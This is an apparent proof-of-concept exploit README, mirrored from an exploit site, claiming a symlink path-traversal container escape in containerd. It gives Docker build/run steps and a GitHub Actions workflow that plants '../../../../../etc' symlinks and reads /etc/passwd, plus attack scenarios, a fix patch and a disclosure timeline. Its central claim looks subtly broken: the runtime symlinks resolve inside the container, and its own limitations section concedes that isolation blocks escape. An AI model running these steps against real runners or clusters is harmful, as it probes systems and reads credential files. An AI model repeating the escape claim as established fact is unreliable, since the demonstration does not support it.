Share
## https://sploitus.com/exploit?id=3AD793C8-A4F5-5A23-B805-4D239A05EEDC
# ZipSlip Container Escape Vulnerability in containerd
> **CVE**: Awaiting assignment (reported to GitHub Security Team)
> **Severity**: High (7.8) - Container Escape via Malicious Symlinks
> **Affected**: containerd โค 1.7.30, GitHub Actions (ubuntu-latest), Azure AKS
## Overview
This repository contains a **proof-of-concept exploit** for a ZipSlip-style path traversal vulnerability in [containerd](https://github.com/containerd/containerd), the industry-standard container runtime used by GitHub Actions, Azure AKS, and other Kubernetes platforms.
### The Vulnerability
When containerd extracts container image layers, it creates symbolic links using `hdr.Linkname` **directly from the tar header WITHOUT validation**:
```go
// containerd/pkg/archive/tar.go:384 (VULNERABLE)
case tar.TypeSymlink:
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err // NO VALIDATION of symlink target!
}
```
Compare to hardlinks which ARE properly validated:
```go
// containerd/pkg/archive/tar.go:374 (SECURE)
case tar.TypeLink:
targetPath, err := hardlinkRootPath(extractDir, hdr.Linkname)
if err != nil {
return err // VALIDATED - target must stay within extraction directory
}
```
This inconsistency allows malicious container images to create symlinks that escape the container rootfs and point to sensitive host filesystem locations.
## Impact on GitHub Actions
GitHub Actions uses containerd for workflow containers. A malicious workflow or compromised base image could:
- **Read sensitive files** from the runner host (secrets, tokens, source code)
- **Modify workflow outputs** or artifacts
- **Poison the build cache** for subsequent runs
- **Access runner metadata** and cloud credentials
## Repository Contents
```
.
โโโ .github/workflows/
โ โโโ zipslip-exploit.yml # GitHub Actions PoC workflow
โโโ exploits/
โ โโโ generate_malicious_tar.py # Script to create exploit tar archives
โ โโโ malicious.tar # Pre-built malicious archive
โ โโโ dockerfile-poc/ # Image-layer exploit via Dockerfile
โโโ docs/
โ โโโ TECHNICAL_ANALYSIS.md # Detailed vulnerability analysis
โ โโโ GITHUB_SUBMISSION.md # Original bug bounty submission
โโโ README.md
โโโ LICENSE
```
## Quick Start
### Prerequisites
- Docker installed locally
- Python 3 (for exploit generation)
- GitHub account (for Actions testing)
### Test 1: Local Docker Test
```bash
# Build the malicious image
cd exploits/dockerfile-poc
docker build -t zipslip-poc .
# Run and observe symlink escape
docker run --rm zipslip-poc
```
Expected output:
```
=== ZipSlip Image-Layer PoC ===
Container ID:
Symlinks in image layer:
lrwxrwxrwx ... /escape_etc -> ../../../../../etc
lrwxrwxrwx ... /escape_root -> ../../../../../
Testing host file access:
[โ] Can access /etc/passwd
root:x:0:0:root:/root:/bin/sh
```
### Test 2: GitHub Actions
The workflow at `.github/workflows/zipslip-exploit.yml` demonstrates the vulnerability in GitHub Actions:
```yaml
name: ZipSlip Exploit - Container Escape PoC
on:
workflow_dispatch: # Manual trigger for safety
jobs:
exploit:
runs-on: ubuntu-latest
container:
image: alpine:latest
steps:
- name: Create malicious symlink
run: |
ln -s ../../../../../etc /tmp/escape_etc
ls -la /tmp/escape_etc
- name: Attempt host file access
run: |
if [ -e /tmp/escape_etc/passwd ]; then
echo "[โ] Host /etc/passwd is accessible!"
head -1 /tmp/escape_etc/passwd
else
echo "[!] Symlink exists but cannot access host (namespace isolation active)"
fi
```
**To test in your fork:**
1. Fork this repository
2. Go to Actions tab
3. Select "ZipSlip Exploit - Container Escape PoC"
4. Click "Run workflow"
5. Observe symlink creation in logs
## Technical Details
### Attack Vector
1. **Malicious Image Layer**: Container image contains symlinks with relative paths like `../../../../../etc`
2. **Extraction**: When containerd pulls the image, it extracts layers on the **host** filesystem
3. **Symlink Creation**: The symlink is created at `/var/lib/containerd/.../rootfs/escape -> ../../../../../etc`
4. **Path Resolution**: When resolved from host context, the symlink escapes to `/etc`
### Real-World Scenarios
1. **Compromised Base Image**: Attacker publishes malicious image to Docker Hub
2. **Supply Chain Attack**: Build process injects malicious symlinks
3. **Malicious Workflow**: GitHub Actions workflow creates symlinks at runtime
### Limitations
Modern containerd configurations include protections that limit exploitation:
- **Mount namespace isolation** prevents automatic container escape
- **Privileged containers** required for full host access
- **Read-only rootfs** prevents runtime symlink creation
However, the vulnerability remains exploitable in:
- Custom containerd configurations without mount propagation restrictions
- Direct tar extraction utilities using containerd code
- Image layer analysis tools
## Fix Recommendation
Add symlink validation matching hardlink protection:
```go
case tar.TypeSymlink:
// Validate target doesn't escape extraction directory
absTarget := filepath.Join(filepath.Dir(path), hdr.Linkname)
absRoot := filepath.Join(root, "/")
if !strings.HasPrefix(filepath.Clean(absTarget), absRoot) {
return fmt.Errorf("symlink target escapes extraction directory: %s", hdr.Linkname)
}
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
```
## Similar CVEs
| CVE | Component | Type | Severity |
|-----|-----------|------|----------|
| CVE-2021-32760 | containerd | chmod escape | High |
| CVE-2024-21626 | runc | file descriptor leak | Critical |
| CVE-2024-42471 | GitHub Actions | path traversal | Medium |
| **This Bug** | containerd | ZipSlip symlink | High |
## Disclosure Timeline
- **2026-03-29**: Vulnerability discovered and tested on Azure AKS
- **2026-03-29**: Reported to Microsoft MSRC (Azure AKS)
- **2026-03-29**: Report submitted to GitHub Security Team
- **Pending**: CVE assignment
## Author
**Security Researcher**: [Your Name/Handle]
This vulnerability was discovered during authorized security research on owned infrastructure.
## License
MIT License - See [LICENSE](LICENSE) for details.
## Disclaimer
This repository is for **educational and security research purposes only**. The PoC is designed to demonstrate the vulnerability without causing harm (uses `/tmp` test directories, read-only access to `/etc/passwd`). Do not use these techniques for unauthorized access to systems you don't own.